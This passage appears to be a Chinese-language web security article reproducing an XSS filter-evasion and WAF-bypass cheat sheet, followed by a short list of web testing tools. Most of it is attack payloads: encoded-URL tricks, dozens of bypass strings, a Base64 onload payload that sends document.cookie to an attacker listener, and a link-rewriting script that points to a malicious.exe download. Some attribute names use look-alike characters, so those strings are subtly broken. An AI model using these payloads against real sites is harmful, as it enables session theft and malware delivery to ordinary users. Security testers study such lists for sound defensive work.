<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>

Octal encoding八进制:

Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:

<A HREF="http://0102.0146.0007.00000223/">XSS</A>

Base64 encoding:

<img οnlοad="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">

Mixed encoding:

让我们混合和匹配基本编码,并加入一些制表符和换行符-为什么浏览器允许这样做,我永远不会知道)。制表符和换行符只有在用引号封装时才起作用。

<A HREF="h

tt p://6 6.000146.0x7.147/">XSS</A>

协议解析旁路:

(//转换为http:/,这将保存更多的字节)。当空间也是一个问题时(少两个字符会有很长的路要走),

这真的很方便,而且可以轻松地绕过类似regex的“(ht | f)tp(s)?“//”。

您也可以将“/”改为“\\”。但是,您确实需要保留斜杠,否则这将被解释为相对路径URL。

<A HREF="//www.google.com/">XSS</A>

 

Google "feeling lucky" part 1.:

Firefox使用Google的“感觉幸运”功能将用户重定向到你输入的任何关键词。

因此,如果你的可利用页面是一些随机关键字的顶部(如你在这里看到的),你可以对任何Firefox用户使用该功能。这使用了Firefox的“keyword:”协议。

例如,您可以使用如下“keyword:XSS+RSnake”连接多个关键字。从2.0开始,这不再适用于Firefox。

<A HREF="//google">XSS</A>

 

Google "feeling lucky" part 2:

这使用了一个看起来只适用于Firefox的非常小的技巧,因为如果它是“感觉幸运”功能的实现。

与下一个不同,这在Opera中不起作用,因为Opera认为这是旧的HTTP基本身份验证仿冒攻击,而不是。这只是一个格式错误的URL。

如果你点击对话框上的OK,它将工作,但由于错误的对话框,我是说Opera不支持此功能,并且从2.0开始Firefox不再支持此功能。

<A HREF="http://ha.ckers.org@google">XSS</A>

Google "feeling lucky" part 3:

这使用了一个格式错误的URL,似乎只在Firefox和Opera中有效,因为如果它们实现了“感觉幸运”功能。

像上面所有的这些一样,它要求你在Google中的关键字是1(在本例中是“Google”)。

<A HREF="http://google:ha.ckers.org">XSS</A>

 

Removing cnames:

当与上述URL结合使用时,删除“www.”将为正确设置此设置的服务器节省额外的4个字节,总共节省9个字节。

<A HREF="http://google.com/">XSS</A>

绝对DNS的额外点:

<A HREF="http://www.google.com./">XSS</A>

JavaScript link location:

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

内容替换为攻击向量:

假设“http://www.google.com/”以编程方式替换为空)。

实际上,我使用了一个类似的攻击向量来攻击几个独立的真实世界XSS过滤器,

方法是使用转换过滤器本身(这里是一个示例)来帮助创建攻击向量

(即:“java ;script:”被转换为“java script:”,它在IE、Netscape 8.1+中以安全站点模式和Opera呈现)。

<A HREF="http://www.google.com/ogle.com/">XSS</A>

字符转义序列:

HTML和JavaScript中字符“<”的所有可能组合。其中大多数不会在框外渲染,但其中许多可以在上述特定情况下渲染。

<

%3C

&lt

&lt;

&LT

&LT;

<

<

<

<

<

<

&#60;

&#060;

&#0060;

&#00060;

&#000060;

&#0000060;

<

<

<

<

<

<

&#x3c;

&#x03c;

&#x003c;

&#x0003c;

&#x00003c;

&#x000003c;

<

<

<

<

<

<

&#X3c;

&#X03c;

&#X003c;

&#X0003c;

&#X00003c;

&#X000003c;

<

<

<

<

<

<

&#x3C;

&#x03C;

&#x003C;

&#x0003C;

&#x00003C;

&#x000003C;

<

<

<

<

<

<

&#X3C;

&#X03C;

&#X003C;

&#X0003C;

&#X00003C;

&#X000003C;

\x3c

\x3C

\u003c

\u003C

绕过WAF的方法-跨站点脚本:

General issues

Stored XSS:

如果攻击者设法推动XSS通过过滤器,WAF将无法阻止攻击的传导。在Javascript中反映XSS.

Example:

<script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>

Exploitation: /?xss=500); alert(document.cookie);//

DOM-based XSS:

Example:

<script> ... eval($_GET[xss]); ... </script>

Exploitation: /?xss=document.cookie

XSS via request Redirection:

通过请求重定向的XSS。

易受攻击的代码.

...

header('Location: '.$_GET['param']);

...

As well as:

...

header('Refresh: 0; URL='.$_GET['param']);

...

This request will not pass through the WAF:

/?param=javascript:alert(document.cookie)

This request will pass through the WAF and an XSS attack will be conducted in certain browsers.

/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

WAF ByPass Strings for XSS:

<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">

<Video> <source onerror = "javascript: alert (XSS)">

<Input value = "XSS" type = text>

<applet code="javascript:confirm(document.cookie);">

<isindex x="javascript:" οnmοuseοver="alert(XSS)">

"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

"><img src="x:x" οnerrοr="alert(XSS)">

"><iframe src="javascript:alert(XSS)">

<object data="javascript:alert(XSS)">

<isindex type=image src=1 οnerrοr=alert(XSS)>

<img src=x:alert(alt) οnerrοr=eval(src) alt=0>

<img src="x:gif" οnerrοr="window['al\u0065rt'](0)"></img>

<iframe/src="data:text/html,<svg οnlοad=alert(1)>">

<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>

<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script

<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">

<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>

<form><a href="javascript:\u0061lert(1)">X

</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/οnerrοr='eval(src)'>

<style>//*{x:expression(alert(/xss/))}//<style></style>

On Mouse Over​

<img src="/" =_=" title="οnerrοr='prompt(1)'">

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe

<script x> alert(1) </script 1=2

<form><button formaction=javascript&colon;alert(1)>CLICKME

<input/οnmοuseοver="javaSCRIPT&colon;confirm&lpar;1&rpar;"

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

<OBJECT CLASSID="clsid:333C7BC5-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>

过滤器旁路警报混,Filter bypass alarm confusion:

(alert)(1)

a=alert,a(1)

[1].find(alert)

top[“al”+”ert”](1)

top[/al/.source+/ert/.source](1)

al\u0065rt(1)

top[‘al\145rt’](1)

top[‘al\x65rt’](1)

top[8680439..toString(30)](1)

 

http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>

应用程序检测和纠正无效输入的方法是防止XSS的另一个主要弱点。黑名单可能不包括所有可能的攻击字符串,白名单可能过于宽容,清理可能失败,或者某种类型的输入可能被错误地信任并保持未清理状态。

 

工具类:

CAL9000是Web应用程序安全性测试工具的合集,可补充当前Web代理和自动扫描程序的功能集。它作为参考托管在https://1337.yehg.net/CAL9000/上

此工具可帮助您在65种字符集之间对任意文本进行编码。还提供了JavaScript提供的一些编码功能。

它为高级字符串操作攻击提供了数十种灵活的编码。

      OWASP WebScar

WebScarab是一个框架,用于分析使用HTTP和HTTPS协议进行通信的应用程序。

XSS-Proxy是高级的跨站点脚本(XSS)攻击工具。

一种半自动化的,很大程度上是被动的Web应用程序安全审核工具,基于对复杂Web 2.0环境中现有的用户发起的流量的观察,已针对潜在问题和与安全相关的设计模式进行了精确,灵敏的检测和自动注释,并进行了优化。

Burp代理是用于攻击和测试Web应用程序的交互式HTTP/S代理服务器。

ZAP是易于使用的集成渗透测试工具,用于发现Web应用程序中的漏洞。它被设计为具有广泛的安全经验的人使用,因此,它是渗透测试新手的开发人员和功能测试人员的理想选择。ZAP提供了自动扫描程序以及一系列工具,可让您手动查找安全漏洞。

OWASP Xenotix XSS漏洞利用框架是一个高级的跨站点脚本(XSS)漏洞检测和利用框架。它通过其独特的三重浏览器引擎(Trident,WebKit和Gecko)嵌入式扫描仪提供零误报扫描结果。据称,它具有约1600多个独特的XSS有效负载的全球第二大XSS有效负载,可有效地检测XSS漏洞和WAF绕过。Xenotix脚本引擎允许您通过Xenotix API创建自定义测试用例和附加组件。它与功能丰富的信息收集模块结合在一起,可用于目标侦察。漏洞利用框架包括用于渗透测试和概念验证创建的令人讨厌的XSS漏洞利用模块。

# xss # waf # OWASP # waf绕过 # XSS漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者